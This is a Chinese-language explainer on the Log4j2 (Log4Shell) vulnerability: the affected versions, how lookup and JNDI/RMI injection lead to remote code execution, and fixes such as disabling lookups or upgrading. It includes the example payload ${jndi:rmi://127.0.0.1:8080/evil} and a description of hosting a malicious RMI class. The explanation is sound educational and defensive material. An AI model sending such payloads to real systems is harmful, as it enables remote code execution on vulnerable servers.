log4j2漏洞原理简述

影响版本

Apache Log4j 2.x <= 2.14.1
jdk不知道，有知道的师傅麻烦告诉下

漏洞原理

由于Apache Log4j存在递归解析功能（lookup），未取得身份认证的用户，可以从远程发送数据请求输入数据日志，轻松触发漏洞，最终在目标上执行任意代码。

lookup相当于是一个接口，具体去哪里查找，怎么查找，就需要编写具体的模块去实现了，类似于面向对象编程中多态那意思。单单lookup的话打印一些服务器信息什么的危害倒是不大，但是加上JNDI就有意思了。
JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI是Java EE的重要部分，需要注意的是它并不只是包含了DataSource(JDBC 数据源)，JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA

简单来说JNDI注入有点类似于sql注入，就是将恶意的Reference类绑定在RMI注册表中，其中恶意引用指向远程恶意的class文件，当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时，会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类，从而加载远程服务器上的恶意class文件在客户端本地执行，最终实现JNDI注入攻击导致远程代码执行。
通过lookup+jndi，即可进行jndi注入远程命令执行，

补充：RMI（remote method invocation）即远程方法调用，是允许运行在一个java虚拟机上的对象调用运行在另外一个java虚拟机上的对象的方法，JAVA RMI实现JAVA程序之间跨越JVM的远程通信。通过RMI可以让调用远程JVM上对象方法，仿佛调用本地JVM上对象方法一样简单、快捷。

如果入侵者在前端页面上输入了：${jndi:rmi://127.0.0.1:8080/evil} 这串字符， 然后后台用log4j记录了这串字符， log4j会自动使用jndi调用这个地址上的rmi内容。

在自己的客户端启动一个带有恶意代码的rmi服务，通过服务端的log4j的漏洞，向服务端的jndi context lookup的时候连接自己的rmi服务器，服务端连接rmi服务器执行lookup的时候会通过rmi查询到该地址指向的引用并且本地实例化这个类，所以在类中的构造方法或者静态代码块中写入逻辑，就会在服务端（jndi rmi过程中的客户端）实例化的时候执行到这段逻辑，导致jndi注入。

修复建议

禁用lookup或JNDI服务

罪魁祸首就是lookup和JNDI，那么直接修改配置文件log4j2.formatMsgNoLookups=True或禁用JNDI服务，不过一般产生问题的服务都是线上已经在跑的服务，禁用的时候要注意评估一下是否允许。

升级Apache Log4j

这次产生的影响范围主要是在Apache Log4j 2.x <= 2.14.1，所以直接把Log4j升级即可解决。